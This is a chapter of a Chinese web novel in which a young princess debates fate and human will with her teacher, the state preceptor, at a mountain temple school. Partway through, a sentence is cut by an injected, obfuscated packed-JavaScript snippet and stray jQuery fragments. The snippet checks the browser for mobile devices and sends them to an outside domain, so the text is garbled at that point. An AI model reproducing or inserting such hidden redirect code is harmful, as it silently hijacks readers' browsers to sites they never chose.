23. 论道

作品:《亡国君是白月光

    “殿下!”


    “殿下您慢些走!!”


    昨夜刚下过一场大雨,将山间长满青苔的石板冲刷得愈发光滑如镜,翠色欲滴。


    一片湛青的袍角似一阵山风从石板上一跃而过,只留下一个欢快娇俏的声音——


    “再慢些就赶不上早课了!”


    身穿青衣的是个十一二岁的少女,腕上银镯作响,发间珠钗晃动,她边跑边回头,一双带笑的眼眸像浸于谭底的墨石。


    青衣浮动,雪山云雾,好似一副流动的水墨画。


    少女又喊道:“流筝姐姐!你太慢啦,我先走,你后来!”


    身后的女子比她长些年岁,已累得气喘吁吁,此刻忙唤道:“殿下不可!您等等我!”


    可等她再往前追上些,早已不见人影,只余林间鸟鸣阵阵空灵。


    此山名为苍界山,乃是周朝开国皇帝周武故居,山中建有皇家寺庙灵念寺,千百年来香火不断。


    当朝天子宣庆帝有三子,仅有一女。据说那幼女出生时天降七彩祥云,百鸟绕殿半日方离,天子对其疼爱有加,赐名周昭,册封为明鸢公主,取“日升月恒,鸢飞戾天”之意。


    明鸢公主满月时,来了位白发道人,言公主殿下眉宇间有当年武帝风姿。


    宣庆帝大喜,召此人入宫,后又见其文韬武略皆不输朝臣,胸有治国之论,便拜为国师。


    国师喜静,天子特许其住在这苍界山,明鸢殿下五岁时便被送来山中跟随国师念书修习,方才在山间疾跑的少女便是当今天子独女——周昭。


    每逢初一十五,是周昭回宫住的日子。


    昨夜大雨,皇后娘娘心疼爱女,特命轿辇将公主送到山上。谁知轿子刚到山脚,周昭便带着侍女跑上山了,说是怕误了时辰。


    此刻周昭见灵念寺就在眼前,不敢懈怠,急匆匆地往寺中去了。


    苍界山高而险,钟声悠扬回荡山野,惊起一片飞鸟。


    皇家寺院并非人人都能来上香,加之国师授课在后院,周昭一路沿阶行来并没有碰见很多人,只有寺院中洒扫师傅冲她安静作揖行礼,周昭很是周到地一一回礼问候,脚下却不敢停。


    口中一连串“大师早”“大师让一让”顺口溜似地喊过去,鞋袜已沾湿了一层朝露。


    周昭虽然身份尊贵,偶尔顽皮,却不顽劣,寺中人人都很喜欢这位小公主。等周昭到了致学堂,堂内除了她都已到齐了,方才那阵钟声便是授课钟响。


    堂上坐着一个满头白发的男子,此刻微微抬头,竟很是年轻俊朗。


    年纪约莫三十,眉眼温润,发丝半束,浑身散发出让人不敢近身的神性,只是似有病气缠身,略显倦色,人不大有精神。


    他柔声说道:“明鸢,你来迟了。”


    这位便是周朝国师——江梅棠。


    他常于苍界山布道行医,因此颇受百姓爱戴。但江梅棠却是周昭除了宣庆帝外最怕之人。


    只因他每每越是温柔,罚得便越狠。只见他抬起手,指了指左边角落的蒲团,道:“自行领罚去。”


    他的手指细长且苍白,像冷玉微润煞是好看,但周昭知道那双手打起人来也是十分疼的,只好垂首答道:“是,师父。”


    周围传来窃笑声,为首的是个浓眉大眼,桀骜不驯的少年。他难得见周昭挨罚,不由窃笑,刚笑出声便暗道一声要遭。


    果然,江梅棠轻声点道:“谢景殿下。”


    谢景被罚跪在周昭旁边,心中十分不服气,却又不敢反驳,只得乖乖跪好。


    不过他和周昭的跪姿可谓一个天上一个地下,周昭就算跪着,上半身也挺得笔直,好像背上插着块铁板。谢景就不同了,东倒西歪,不忍直视。


    江梅棠目光扫过来,好似没看见谢景那副模样,反对着周昭说道:“明鸢,我常罚你,心中可有了计较?”


    我敬着师父都来不及,怎么敢有计较。


    周昭忙答道:“不曾。”


    江梅棠没再接话,开始讲起了今日课业。


    他不论讲课还是罚人,声音总是淡淡的,虽让人难以亲近,但论学识周朝无人能出其右,甚至有些小国为了让皇子能跟在江梅棠身边读书,特意选将来能继承大统的皇子来周朝拜在江梅棠门下。


    谢景便是这种了。他是黎国皇子,与周昭一起长大。


    谢景见江梅棠没再注意他们这边,压低声音道:“阿昭,你没觉得老师对你比对我们都严格些吗?”


    周昭还未回答,便听见头顶传来一声询问:“谢景殿下,我方才讲了什么?”


    谢景抬头,吓得一激灵。他常常怀疑师父长着六只眼睛四只耳,不过是小小声讲了一句话,偏被抓个正着,磕磕绊绊道:“师父说、说......”


    “师父说,所谓道法,过去不可得,现在不可得,未来不可得。”


    谢景感激地看了一眼周昭,一颗心尚未收进肚中,又听江梅棠问道:“何解?”


    周昭思索片刻,回答道:“徒儿以为,这话不对。”


    话音刚落,课上学子们纷纷低语,谢景忙扯了扯周昭的袖子,低声道:“阿昭,你又想挨罚啦!”


    江梅棠反问道:“哦?”


    周昭道:“徒儿以为,过去可得现在,现在可得未来。若活在当下,岂不是过去、现在、未来,皆握于我手?”


    她言语间有隐隐傲气,江梅棠也不恼,淡淡道:“道法所言,不论过去、现在、未来,皆是虚妄,意为放下执念,殿下却说一切皆握于你手,一切皆可得。那我问你,若天命要夺走你手中所握,又当如何?”


    周昭正色道:“事在人为,不言天命。”


    此言掷地有声,江梅棠沉默片刻,道:“今日就到这里,都出去罢。”


    这才刚授课没多久便下学了,可是从未有过的事。其他人瞧江梅棠脸色不好,连忙匆匆离去。谢景方才吓得大气也不敢出,赶紧拉着周昭就要站起来,小声道:“快走快走!”


    “明鸢,你留下。”江梅棠道。


    谢景心道,周昭啊周昭,你自求多福吧。他十分同情地看了周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455516|184482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    昭一眼,独自离开了。


    等学堂只剩下江梅棠师徒二人,江梅棠才问道:“知道我为何留你吗?”


    周昭低头道:“徒儿说错话,惹师父生气了。”


    江梅棠无奈笑道:“师父原是这么小气的人吗?”


    他几乎从来不笑,周昭简直不敢相信自己的耳朵,彷佛方才那声低笑只是她的错觉,忙摇头道:“徒儿不是这个意思,我、我......”


    到底年纪还小,方才论道时自信张扬,眼下却急得语无伦次,生怕江梅棠恼了。


    “事在人为,不言天命。”江梅棠道,“明鸢,你年纪还小,不明白总有些事情是你不能握在手中的。”


    周昭想了想,大着胆子道:“若我偏要呢?”


    江梅棠看向她:“你想握住什么?”


    少女仰起脸道:“我要百姓安居乐业,朝堂无小人,在野无叛乱,我要周朝千秋万代!”


    周昭说完有些面色微红,眼神却不失坚定。江梅棠久久没有言语,半晌,喃喃道:“我没有找错人。”


    周昭面露疑惑之色:“师父,你说什么?”


    江梅棠抬起手,轻轻抚了抚她的头顶,温声道:“没什么,出去玩儿吧。”


    等周昭从学堂出来时,还沉浸在方才跟江梅棠的谈话中,连谢景走到她跟前都没发现,险些撞上。


    谢景十分夸张地哎呦一声,问道:“阿昭,你干嘛呢,魂不守舍的,被吓傻啦?”


    周昭看见他就头痛:“没有。”


    谢景不依不饶:“那方才老师跟你说什么了?”


    周昭道:“师父说......我也不知道师父要说什么。”


    谢景翻了个白眼:“我看你是读书读傻啦!你方才那样顶撞师父,连师父骂你的话都记不得了?”


    周昭摇摇头,无辜道:“师父不曾骂我,就......摸了摸我的头,然后让我出来了。”


    “什么?!”谢景跳起来道,“老师竟然还摸你的头?!”


    周昭困惑道:“是啊,有什么问题吗?”


    谢景急道:“老师都没有摸过我的头!”


    周昭扑哧一声笑出来:“长淮,这有什么好比的,再说你不是不爱听师父讲课吗?”


    “我......”谢景辩解道,“我是不爱听学,但……反正就是老师偏心!哼!”


    他们同在江梅棠身边念书,小孩子难免都希望别人多关注自己些。谢景胜负欲极强,他好像十分生气江梅棠偏心这件事,撇下周昭一个人跑了。


    周昭身份尊贵,一同听学的都不怎么敢跟她玩儿,只有谢景天不怕地不怕,与她关系亲近些。


    周昭哭笑不得。她从山下一路跑上来,虽然有些累了,却不敢懈怠,照例去庙里的藏书阁温书。


    山间微冷,空气湿润,入目皆是翠色。


    周昭到了藏书阁,里面空无一人,她正乐得清闲,突然听见一声略带嘲讽的轻笑——


    “事在人为,不言天命。你这小女娃,不知天高地厚。”